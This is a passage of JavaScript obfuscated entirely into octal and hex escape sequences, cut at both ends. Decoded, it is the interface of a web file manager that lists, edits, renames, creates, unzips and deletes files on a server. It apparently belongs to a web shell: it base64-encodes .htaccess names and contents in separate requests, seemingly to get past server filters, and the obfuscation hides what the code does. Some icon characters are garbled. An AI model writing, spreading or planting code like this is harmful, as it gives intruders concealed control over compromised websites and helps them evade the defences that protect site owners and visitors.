\56\x65\162\x72\x6f\x72\x28\42\106\165\x6c\x6c\40\x72\145\x73\160\x6f\x6e\163\145\72\42\54\40\x65\x72\162\157\x72\x2e\x72\145\163\160\x6f\156\163\145\x29\x3b\40\162\145\x74\165\162\156\x20\156\165\154\x6c\x3b\x20\x7d\40\146\151\x6e\141\154\x6c\171\40\x7b\40\x64\x6f\x6d\56\163\x70\151\x6e\156\x65\x72\56\163\164\171\154\145\x2e\144\151\163\160\154\141\171\75\x27\156\157\x6e\145\x27\x3b\x20\x7d\xa\40\x20\40\x20\40\40\40\40\175\12\x20\40\x20\x20\40\x20\40\40\146\165\x6e\143\x74\x69\x6f\x6e\x20\x72\145\x6e\x64\x65\162\x28\x29\x20\x7b\xa\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\143\157\x6e\163\x74\40\146\x6f\162\155\104\x61\x74\x61\x20\75\40\x6e\x65\x77\40\106\x6f\x72\155\x44\141\164\x61\50\x29\x3b\40\146\157\162\x6d\104\x61\164\x61\x2e\x61\160\160\145\156\x64\x28\47\x70\141\164\150\x27\54\40\123\x54\x41\124\x45\x2e\143\x75\x72\162\145\156\164\x50\141\164\x68\x29\73\12\40\40\40\40\40\40\x20\x20\x20\40\40\40\141\160\x69\x43\141\x6c\x6c\50\x27\x6c\x69\x73\x74\x27\x2c\x20\146\157\x72\x6d\x44\141\x74\141\51\x2e\164\150\x65\156\50\162\x65\163\165\x6c\x74\40\75\76\40\x7b\12\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\151\146\40\x28\41\x72\x65\x73\x75\x6c\164\x29\x20\162\x65\164\x75\162\x6e\73\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\123\x54\x41\124\105\x2e\143\165\162\162\145\156\164\120\141\x74\x68\x20\x3d\x20\x72\145\x73\x75\154\164\56\160\141\164\x68\x3b\40\x64\x6f\x6d\56\160\x61\x74\150\x42\141\x72\56\164\x65\170\x74\103\x6f\x6e\164\x65\156\164\x20\x3d\40\x53\x54\x41\124\x45\x2e\x63\x75\x72\162\145\x6e\164\120\x61\x74\x68\x3b\40\x6c\145\164\40\150\164\x6d\x6c\40\75\x20\x27\x27\x3b\x20\x6c\145\x74\40\160\x61\162\145\156\164\x50\141\x74\150\40\75\x20\x53\124\101\124\105\56\x63\165\162\162\x65\x6e\x74\x50\141\x74\x68\56\163\165\x62\x73\164\x72\x69\x6e\x67\x28\x30\x2c\40\123\x54\101\124\105\56\x63\165\162\162\145\x6e\164\120\x61\x74\150\56\x6c\x61\163\164\x49\156\144\x65\170\117\146\x28\47\57\47\x29\51\73\x20\x69\146\40\50\x70\141\x72\145\x6e\x74\120\x61\x74\150\x20\75\75\75\x20\x27\47\51\40\160\141\x72\145\x6e\164\120\141\x74\150\40\75\x20\x27\57\47\73\12\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x69\146\40\x28\x53\x54\101\124\105\x2e\143\165\x72\162\145\156\x74\x50\x61\x74\x68\40\x21\75\x3d\40\x27\x2f\47\51\x20\x7b\x20\150\164\155\x6c\x20\x2b\x3d\40\140\74\x74\x72\x20\144\141\164\141\x2d\x70\x61\164\x68\x3d\42\44\173\x70\x61\162\145\x6e\164\x50\x61\164\150\175\42\76\x3c\164\x64\x3e\74\57\164\x64\x3e\x3c\164\144\x20\143\x6f\154\163\x70\x61\x6e\75\x22\x34\x22\x20\143\154\x61\x73\x73\x3d\x22\x69\164\145\x6d\55\x6c\151\156\x6b\x22\x3e\xc3\x83\302\242\xc3\x82\302\254\303\x82\302\x86\xc3\203\xc2\257\303\x82\xc2\xb8\303\202\xc2\x8f\40\56\56\40\x28\120\141\x72\145\156\x74\40\104\x69\x72\145\143\164\x6f\162\171\51\74\x2f\164\144\76\x3c\57\164\x72\76\140\73\x20\x7d\12\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\162\x65\x73\165\x6c\x74\x2e\146\151\154\145\x73\56\x73\157\162\164\50\x28\141\x2c\x62\51\40\75\76\x20\x28\x61\56\x69\163\x5f\144\x69\162\40\75\x3d\75\x20\x62\x2e\x69\x73\x5f\x64\151\162\51\x20\x3f\x20\141\56\156\x61\155\145\x2e\x6c\x6f\x63\141\154\145\103\x6f\155\x70\x61\162\145\x28\x62\56\x6e\141\155\x65\x29\40\x3a\x20\x28\141\x2e\151\x73\x5f\144\151\x72\40\77\40\x2d\61\x20\72\x20\x31\51\x29\x3b\xa\40\x20\40\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\162\145\x73\x75\154\164\x2e\x66\x69\x6c\145\163\56\x66\x6f\x72\x45\x61\143\150\50\146\x69\x6c\x65\x20\x3d\76\x20\x7b\12\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\143\x6f\x6e\163\164\40\x73\151\x7a\x65\x20\75\40\x66\x69\154\x65\x2e\151\163\x5f\x64\x69\x72\x20\x3f\40\x27\55\x27\x20\72\40\x28\146\151\154\x65\56\163\151\172\145\x20\57\x20\61\x30\x32\x34\51\x2e\164\x6f\x46\151\x78\x65\x64\50\62\51\40\x2b\40\x27\x20\113\x42\x27\73\40\x63\x6f\x6e\163\164\40\155\157\x64\x69\146\x69\145\144\40\75\x20\156\x65\167\40\104\x61\x74\x65\x28\146\151\154\145\56\155\157\x64\151\x66\x69\145\x64\40\52\40\x31\60\60\x30\x29\x2e\164\157\x4c\x6f\143\x61\154\x65\123\x74\x72\151\x6e\147\x28\x29\x3b\12\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x63\x6f\156\163\164\40\x69\143\157\x6e\x20\75\x20\146\x69\x6c\x65\x2e\151\163\137\x64\151\162\40\77\x20\47\303\203\302\xb0\xc3\202\xc2\237\xc3\202\302\x93\303\x82\xc2\201\x27\40\x3a\40\47\303\x83\xc2\xb0\xc3\202\xc2\x9f\xc3\x82\xc2\223\303\x82\302\x84\x27\73\12\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x63\157\x6e\163\x74\40\146\x75\154\154\x50\x61\x74\150\40\75\40\140\x24\173\123\x54\x41\x54\105\x2e\x63\165\162\x72\x65\156\x74\120\x61\164\150\x7d\57\44\173\146\x69\x6c\x65\x2e\156\141\x6d\x65\x7d\140\x2e\162\145\160\x6c\x61\143\145\50\57\134\57\x2b\57\147\54\x20\x27\x2f\47\51\x3b\x20\x63\x6f\x6e\163\164\40\x64\x61\x74\x61\x41\164\164\162\40\75\x20\140\144\141\x74\141\x2d\x70\141\x74\150\75\x22\44\x7b\x66\x75\x6c\154\x50\141\x74\150\x7d\42\x60\73\40\143\157\156\x73\164\x20\x72\157\167\x44\141\164\141\40\x3d\40\x66\151\154\x65\56\x69\163\137\x64\151\162\40\77\40\x60\143\154\x61\163\x73\x3d\x22\x64\x69\162\x2d\154\x69\156\x6b\x22\x20\x24\x7b\x64\141\164\x61\x41\x74\164\162\x7d\x60\40\x3a\40\47\47\x3b\xa\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x68\164\155\x6c\40\53\75\x20\140\x3c\x74\x72\40\44\173\162\x6f\167\104\x61\x74\x61\175\76\74\x74\144\76\x3c\151\156\x70\165\x74\40\164\x79\160\x65\75\x22\x63\150\145\x63\153\142\x6f\170\x22\x20\143\154\x61\x73\163\x3d\x22\151\x74\145\155\55\x73\145\x6c\x65\143\164\42\40\x76\141\154\x75\145\x3d\42\x24\x7b\x66\x69\154\145\56\156\x61\155\x65\175\42\x3e\x3c\57\164\144\x3e\74\x74\144\76\74\141\x20\150\162\145\146\x3d\x22\x23\x22\x20\143\x6c\141\163\x73\x3d\x22\x69\164\145\x6d\x2d\x6c\151\x6e\x6b\x22\40\x24\x7b\144\141\x74\x61\x41\x74\164\x72\x7d\76\x24\x7b\x69\x63\157\156\x7d\40\x24\x7b\x66\x69\154\145\x2e\x6e\x61\x6d\x65\175\x3c\x2f\141\x3e\x3c\x2f\164\x64\x3e\74\x74\x64\76\x24\x7b\163\x69\172\145\x7d\x3c\x2f\x74\x64\x3e\x3c\x74\x64\x3e\x24\x7b\x6d\x6f\144\x69\146\x69\145\x64\175\74\x2f\164\x64\76\x3c\x74\144\76\74\144\151\x76\x20\143\154\141\x73\163\75\x22\x61\x63\164\151\x6f\x6e\x73\42\x3e\x24\173\41\x66\151\154\145\56\x69\x73\x5f\144\151\x72\40\77\40\140\x3c\142\x75\164\x74\x6f\x6e\40\x63\154\x61\163\163\x3d\42\142\165\x74\x74\x6f\156\x20\145\144\x69\x74\x2d\142\164\x6e\x22\40\44\x7b\x64\x61\x74\x61\101\164\x74\x72\x7d\76\105\144\151\164\x3c\57\x62\x75\x74\x74\x6f\156\x3e\140\40\72\40\47\47\x7d\x3c\x62\x75\164\164\157\156\x20\143\x6c\141\163\163\75\x22\x62\x75\164\164\x6f\156\40\162\145\156\141\155\145\x2d\142\164\156\42\40\x64\141\164\x61\55\156\x61\x6d\x65\x3d\x22\x24\173\146\151\154\145\56\156\x61\155\x65\175\x22\76\x52\x65\x6e\x61\x6d\145\x3c\x2f\x62\165\164\x74\157\156\76\44\173\x66\x69\154\x65\56\x6e\141\155\x65\x2e\145\156\144\x73\x57\151\x74\150\x28\47\56\x7a\x69\x70\47\51\40\x3f\x20\140\74\x62\x75\164\164\157\156\40\143\154\141\163\163\75\x22\142\x75\x74\164\x6f\156\x20\x75\156\x7a\151\x70\x2d\142\x74\x6e\x22\x20\x24\x7b\144\141\x74\141\x41\x74\164\x72\175\76\125\x6e\x7a\x69\160\x3c\x2f\x62\165\x74\x74\x6f\156\76\140\x3a\47\x27\x20\175\74\x2f\x64\151\x76\76\x3c\x2f\x74\x64\x3e\74\57\x74\x72\76\140\73\xa\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x7d\x29\73\xa\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\x64\157\x6d\x2e\x66\x69\154\x65\114\x69\x73\164\56\151\x6e\x6e\x65\162\110\x54\x4d\114\40\75\40\x68\x74\155\x6c\x3b\x20\x64\157\155\56\x73\145\x6c\x65\143\x74\x41\x6c\x6c\56\x63\150\x65\143\x6b\x65\144\x20\x3d\x20\x66\x61\154\x73\145\x3b\xa\40\x20\40\40\40\40\x20\40\40\40\x20\40\175\x29\73\12\x20\40\x20\40\40\40\40\x20\x7d\xa\40\x20\40\x20\x20\x20\x20\x20\12\x20\x20\40\x20\x20\x20\40\x20\144\x6f\x6d\x2e\146\x69\x6c\x65\x4c\151\x73\164\56\141\144\x64\x45\166\x65\156\x74\x4c\151\163\x74\145\x6e\x65\x72\x28\47\x63\154\151\143\153\47\x2c\x20\145\40\75\76\40\x7b\12\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x69\x66\x20\x28\145\x2e\164\141\162\147\145\x74\x2e\155\x61\x74\143\x68\x65\x73\50\47\x2e\x69\x74\145\x6d\x2d\163\x65\x6c\x65\x63\164\47\51\51\x20\x7b\40\x72\x65\164\165\x72\156\73\40\175\12\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x63\157\156\163\x74\40\142\x75\164\164\x6f\x6e\x20\x3d\40\145\x2e\164\141\x72\147\145\x74\x2e\x63\x6c\157\x73\145\x73\164\50\47\x62\165\164\164\157\x6e\47\51\73\xa\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x69\146\40\50\142\165\164\x74\x6f\156\x29\40\x7b\12\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\145\56\160\x72\x65\166\145\x6e\164\104\x65\146\141\165\x6c\x74\x28\51\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\x69\146\x20\x28\142\165\x74\x74\157\x6e\x2e\x6d\x61\x74\x63\150\145\x73\50\47\56\x72\x65\x6e\141\x6d\x65\x2d\142\x74\x6e\47\51\51\x20\x7b\xa\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x63\x6f\x6e\x73\x74\40\157\x6c\144\x4e\141\x6d\x65\x20\75\x20\142\x75\164\x74\x6f\x6e\56\x64\x61\164\141\x73\x65\x74\x2e\156\x61\155\145\x3b\xa\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x63\157\x6e\x73\164\40\x6e\x65\x77\x4e\141\x6d\x65\40\75\x20\x70\162\157\x6d\160\164\50\x27\105\x6e\164\x65\162\x20\156\x65\167\x20\156\141\155\145\72\47\x2c\x20\x6f\154\144\116\x61\x6d\x65\x29\x3b\xa\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x69\x66\x20\x28\x6e\x65\167\116\x61\155\145\40\x26\46\x20\156\145\x77\116\141\x6d\145\40\x21\x3d\x3d\40\x6f\154\144\x4e\x61\155\145\51\40\x7b\12\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\143\x6f\156\163\164\40\x66\x64\x20\x3d\x20\156\145\x77\40\106\157\x72\x6d\104\141\164\x61\x28\x29\73\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\40\146\x64\56\141\x70\160\x65\x6e\x64\x28\47\x70\x61\x74\150\x27\x2c\x20\123\x54\x41\x54\105\x2e\143\165\x72\162\x65\156\164\120\x61\x74\150\x29\73\12\40\x20\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\154\145\x74\40\141\143\164\x69\157\x6e\40\x3d\x20\47\x72\x65\156\141\x6d\145\x27\73\12\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\151\146\40\x28\157\x6c\x64\116\x61\155\x65\56\x69\156\x63\154\x75\144\145\163\x28\47\x2e\x68\164\141\x63\x63\x65\163\x73\x27\51\x20\174\x7c\x20\156\145\x77\116\141\x6d\x65\x2e\x69\x6e\143\x6c\165\144\145\163\50\x27\56\150\164\141\x63\x63\145\x73\x73\x27\x29\51\40\173\12\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\141\143\x74\151\x6f\x6e\40\x3d\x20\47\162\x65\x6e\141\x6d\x65\x5f\x62\66\x34\47\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\146\x64\56\x61\x70\x70\x65\x6e\144\50\x27\157\154\x64\x5f\156\x61\155\145\137\142\x36\64\x27\54\x20\x62\x74\157\141\x28\157\x6c\x64\x4e\x61\x6d\145\51\51\x3b\12\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\146\144\x2e\x61\160\160\145\156\x64\50\x27\156\145\167\137\x6e\141\x6d\145\137\142\66\64\x27\x2c\40\142\164\157\141\50\156\145\x77\116\x61\155\x65\x29\x29\x3b\12\x20\40\40\40\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\175\40\x65\154\163\x65\x20\173\12\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\146\x64\x2e\x61\x70\x70\x65\x6e\x64\50\47\157\x6c\x64\x5f\156\x61\155\x65\x27\54\40\x6f\x6c\x64\x4e\x61\x6d\x65\51\73\12\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\x20\x66\144\56\141\x70\x70\x65\x6e\144\50\x27\156\145\167\137\156\141\x6d\145\x27\x2c\40\x6e\x65\x77\116\141\x6d\x65\51\x3b\12\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x7d\xa\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x61\160\x69\x43\141\154\154\50\141\x63\x74\x69\157\x6e\54\40\146\x64\51\x2e\x74\x68\145\x6e\x28\x72\145\x6e\x64\x65\162\x29\x3b\12\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\175\xa\40\x20\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\175\x20\xa\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\145\x6c\x73\x65\40\x69\x66\40\x28\142\x75\164\x74\157\x6e\x2e\155\x61\x74\x63\150\x65\x73\50\47\56\165\156\172\x69\x70\x2d\x62\164\156\47\51\51\x20\173\40\x69\146\40\x28\143\157\x6e\x66\x69\162\x6d\x28\x27\101\162\x65\40\171\x6f\165\x20\163\x75\162\145\x20\x79\x6f\x75\40\167\141\156\164\40\x74\x6f\x20\x65\170\164\162\x61\x63\164\x20\x74\x68\x69\x73\x20\141\x72\143\x68\151\166\145\77\x27\x29\x29\x20\x7b\x20\x63\x6f\156\x73\x74\40\146\144\40\75\40\x6e\x65\x77\x20\106\x6f\x72\155\x44\x61\x74\141\x28\51\73\x20\x66\144\x2e\141\160\160\x65\x6e\144\50\x27\x70\x61\164\150\47\54\x20\142\x75\164\164\157\156\56\x64\141\x74\141\163\145\x74\56\160\141\x74\x68\51\x3b\40\x61\x70\x69\103\x61\154\154\50\x27\165\156\172\151\x70\x27\x2c\40\146\x64\x2c\x20\164\x72\165\x65\51\x2e\164\x68\145\x6e\50\162\x65\156\144\x65\x72\51\73\40\x7d\x20\x7d\40\12\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\x65\154\163\x65\x20\151\x66\40\x28\142\x75\x74\164\x6f\x6e\56\x6d\141\x74\x63\150\x65\x73\x28\x27\x2e\x65\144\x69\x74\55\142\164\x6e\x27\51\x29\x20\x7b\12\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\143\x6f\x6e\163\164\x20\160\141\164\x68\40\75\40\x62\165\164\x74\157\156\x2e\144\141\164\x61\x73\145\x74\56\160\141\x74\150\x3b\xa\40\40\x20\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x63\x6f\156\x73\164\40\x66\x64\x20\x3d\x20\156\x65\167\x20\x46\157\x72\x6d\104\141\164\141\50\x29\x3b\12\x20\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\154\145\x74\40\x61\x63\164\x69\157\x6e\40\x3d\40\47\x67\145\164\137\143\157\x6e\164\145\x6e\164\x27\x3b\12\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\151\x66\x20\50\x70\141\164\x68\56\x69\x6e\143\x6c\x75\144\145\x73\x28\x27\56\150\164\x61\143\x63\145\x73\x73\47\x29\51\40\173\12\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x61\143\164\151\x6f\x6e\x20\75\x20\47\147\x65\164\137\143\157\x6e\x74\x65\x6e\164\137\142\66\x34\47\73\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x66\x64\x2e\141\x70\x70\145\156\x64\50\x27\x70\141\164\x68\137\x62\66\64\x27\x2c\x20\142\164\157\x61\x28\160\x61\164\150\51\51\73\xa\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\175\40\145\154\163\x65\x20\x7b\xa\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\146\144\56\141\160\x70\x65\156\144\x28\47\160\x61\164\150\x27\54\x20\160\141\164\150\x29\73\xa\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\175\12\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\141\x70\151\103\x61\x6c\154\50\x61\143\x74\x69\157\156\x2c\40\x66\x64\51\x2e\x74\150\x65\156\x28\162\x65\163\x75\x6c\164\x20\75\76\x20\173\12\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\151\x66\x28\x72\145\163\x75\x6c\164\51\40\x7b\12\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\155\56\145\144\151\x74\x6f\x72\x46\x69\x6c\x65\156\141\155\145\x2e\x74\145\170\x74\103\157\x6e\x74\145\x6e\164\40\x3d\x20\160\x61\x74\x68\x3b\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x64\x6f\x6d\x2e\145\x64\x69\164\157\162\x2e\166\x61\154\165\x65\x20\75\40\x61\164\x6f\x62\x28\x61\164\157\x62\50\162\x65\163\165\154\164\x2e\143\x6f\x6e\164\145\x6e\x74\x29\x29\73\xa\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x64\157\155\56\145\144\151\164\157\162\115\157\x64\141\x6c\x2e\x73\164\x79\x6c\x65\56\144\x69\x73\160\x6c\141\171\x20\75\x20\x27\x66\x6c\x65\170\x27\x3b\12\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x20\175\12\40\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x7d\51\x3b\12\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\40\x7d\xa\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\162\x65\164\165\x72\x6e\73\xa\40\x20\x20\x20\40\40\40\x20\40\40\40\40\175\xa\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\143\157\x6e\163\x74\40\156\141\166\124\x61\x72\x67\x65\x74\40\75\x20\145\56\164\141\162\147\x65\164\x2e\x63\154\157\x73\x65\163\x74\50\x27\x5b\144\141\164\141\55\x70\x61\x74\x68\x5d\47\x29\x3b\12\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\151\x66\40\x28\x6e\141\166\x54\x61\162\147\x65\x74\x29\40\x7b\x20\x65\56\160\162\x65\166\145\x6e\x74\x44\x65\x66\x61\165\x6c\164\50\x29\73\40\x53\x54\x41\x54\105\x2e\x63\x75\162\x72\145\156\x74\x50\x61\x74\150\40\75\x20\156\x61\x76\x54\x61\x72\147\145\x74\56\x64\141\164\x61\x73\x65\x74\56\x70\x61\164\150\73\40\x72\x65\x6e\144\145\x72\x28\x29\73\x20\x7d\xa\40\x20\40\x20\x20\x20\x20\40\175\51\x3b\xa\40\40\x20\40\x20\40\x20\x20\xa\x20\x20\40\40\x20\40\x20\x20\x64\x6f\x6d\x2e\x6e\145\x77\x46\x6f\154\x64\145\x72\102\x74\156\56\141\x64\x64\x45\166\x65\x6e\x74\x4c\151\163\164\145\x6e\x65\162\50\47\x63\154\x69\143\x6b\47\54\x20\x28\x29\40\75\76\40\173\x20\x63\x6f\156\163\x74\40\x6e\141\x6d\145\x20\75\40\x70\x72\x6f\x6d\160\164\x28\x27\x45\156\164\x65\162\40\x6e\145\x77\x20\x66\157\x6c\144\x65\x72\x20\x6e\x61\155\145\72\47\51\x3b\40\x69\x66\40\x28\156\x61\x6d\145\x29\40\173\40\143\x6f\156\163\x74\40\146\x64\40\75\40\156\x65\167\x20\x46\x6f\x72\x6d\x44\x61\164\141\50\x29\73\x20\146\144\x2e\141\160\x70\x65\x6e\144\x28\x27\160\141\x74\150\47\x2c\40\123\x54\x41\124\x45\56\x63\x75\162\x72\x65\x6e\x74\x50\x61\164\x68\51\73\x20\x66\144\x2e\141\160\160\x65\156\144\x28\47\x6e\x61\155\145\47\54\40\x6e\x61\x6d\x65\x29\x3b\x20\x61\x70\151\103\x61\x6c\154\50\47\x63\x72\x65\141\164\145\x5f\x66\157\154\x64\145\x72\x27\x2c\x20\146\144\x29\x2e\164\x68\145\156\50\162\145\x6e\144\x65\162\x29\73\x20\x7d\x20\x7d\51\x3b\12\x20\x20\40\x20\x20\40\40\40\x64\157\155\x2e\x6e\145\x77\106\151\154\x65\x42\164\x6e\56\x61\144\x64\105\166\145\x6e\164\x4c\x69\x73\x74\x65\x6e\145\162\x28\47\143\x6c\151\x63\x6b\47\x2c\40\50\51\40\75\76\40\173\40\143\x6f\156\163\x74\40\x6e\x61\x6d\145\40\x3d\40\x70\x72\157\x6d\x70\x74\50\x27\x45\x6e\x74\145\x72\x20\156\145\167\40\x66\151\154\x65\x20\156\141\x6d\145\x3a\47\x29\73\40\x69\x66\40\50\156\141\x6d\145\51\40\173\x20\x63\157\156\x73\x74\40\x66\144\40\x3d\40\x6e\x65\167\x20\106\x6f\x72\155\104\x61\x74\141\50\x29\x3b\40\x66\144\56\141\160\x70\145\156\x64\50\47\x70\141\x74\x68\47\x2c\40\x53\x54\101\124\105\56\143\x75\x72\162\x65\156\164\120\x61\x74\150\x29\73\x20\146\144\56\141\x70\x70\x65\156\144\x28\47\156\x61\x6d\145\x27\x2c\40\156\141\155\145\51\73\40\x61\160\151\x43\141\154\154\x28\x27\143\x72\x65\x61\x74\x65\x5f\x66\151\x6c\145\47\54\x20\146\144\51\x2e\x74\x68\145\156\x28\x72\145\156\144\x65\x72\x29\x3b\40\x7d\x20\175\x29\73\12\40\40\40\40\x20\x20\x20\40\x64\x6f\x6d\56\x73\145\154\145\x63\164\101\x6c\x6c\x2e\x61\x64\144\x45\166\145\156\x74\114\x69\x73\164\145\156\145\x72\x28\x27\x63\x68\141\156\147\145\x27\x2c\40\x65\40\75\76\40\144\157\143\x75\x6d\145\156\164\56\x71\x75\145\162\x79\123\145\x6c\x65\x63\x74\157\x72\101\154\x6c\x28\x27\x2e\x69\x74\145\x6d\55\163\x65\154\x65\x63\x74\x27\x29\56\x66\157\162\x45\141\x63\x68\x28\x63\x62\40\x3d\76\x20\x63\x62\56\143\x68\x65\143\153\x65\x64\40\x3d\x20\145\x2e\x74\x61\x72\x67\145\x74\56\143\x68\x65\x63\x6b\145\144\x29\51\73\xa\x20\40\x20\x20\x20\40\x20\40\xa\x20\x20\x20\x20\40\x20\x20\40\x64\x6f\x6d\56\x64\x65\154\145\x74\145\x42\x74\x6e\x2e\x61\x64\144\105\166\x65\156\164\114\x69\x73\164\x65\x6e\x65\x72\50\x27\143\154\x69\143\153\x27\x2c\40\x28\51\x20\x3d\76\40\173\xa\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x63\x6f\156\163\164\40\163\145\154\145\x63\164\x65\144\40\x3d\x20\101\162\162\141\171\x2e\146\162\157\155\50\144\157\x63\165\155\145\x6e\164\56\161\x75\145\x72\171\x53\145\154\x65\143\x74\x6f\162\101\x6c\x6c\50\x27\x2e\x69\164\145\155\55\163\145\154\145\143\164\x3a\143\150\145\x63\x6b\145\144\x27\51\x29\56\x6d\141\160\50\143\142\40\x3d\76\40\x63\x62\x2e\x76\141\154\165\145\51\x3b\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x69\146\x20\x28\x73\145\154\145\143\164\x65\x64\x2e\154\145\x6e\x67\164\150\x20\75\x3d\75\x20\60\51\x20\162\145\x74\x75\x72\156\x20\141\154\145\x72\164\x28\47\116\x6f\x20\151\164\145\155\x73\40\163\x65\x6c\x65\x63\164\x65\144\56\47\x29\73\12\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\151\x66\x20\50\143\x6f\156\x66\x69\x72\x6d\x28\x60\101\162\x65\40\x79\x6f\x75\40\163\x75\162\145\x20\x79\157\x75\40\x77\x61\x6e\x74\40\x74\x6f\40\144\x65\x6c\145\164\145\40\x24\173\x73\x65\x6c\145\143\x74\x65\144\56\154\x65\156\147\x74\x68\175\x20\x69\164\145\x6d\x28\x73\x29\x3f\140\x29\51\40\x7b\xa\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x63\157\x6e\163\x74\40\x66\144\40\75\40\156\145\167\40\106\157\x72\155\x44\x61\164\x61\x28\x29\x3b\12\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x66\144\x2e\x61\x70\160\145\156\144\50\47\x70\x61\164\x68\47\54\x20\123\124\x41\x54\x45\x2e\143\x75\162\x72\145\x6e\164\x50\x61\164\x68\51\73\xa\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\x20\143\157\156\x73\x74\40\x69\x73\123\145\156\x73\151\x74\151\166\x65\x20\x3d\x20\x73\x65\154\145\143\164\x65\x64\56\163\x6f\x6d\145\50\x69\164\x65\x6d\40\x3d\76\40\151\164\145\155\x2e\151\x6e\143\154\165\144\145\x73\50\x27\x2e\150\x74\141\x63\143\x65\163\163\47\51\x29\73\xa\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\154\x65\x74\40\x61\143\164\151\x6f\156\x20\75\40\x27\x64\145\x6c\x65\x74\145\47\73\12\40\x20\x20\40\x20\x20\40\40\40\40\40\40\40\40\40\x20\x69\146\x20\x28\x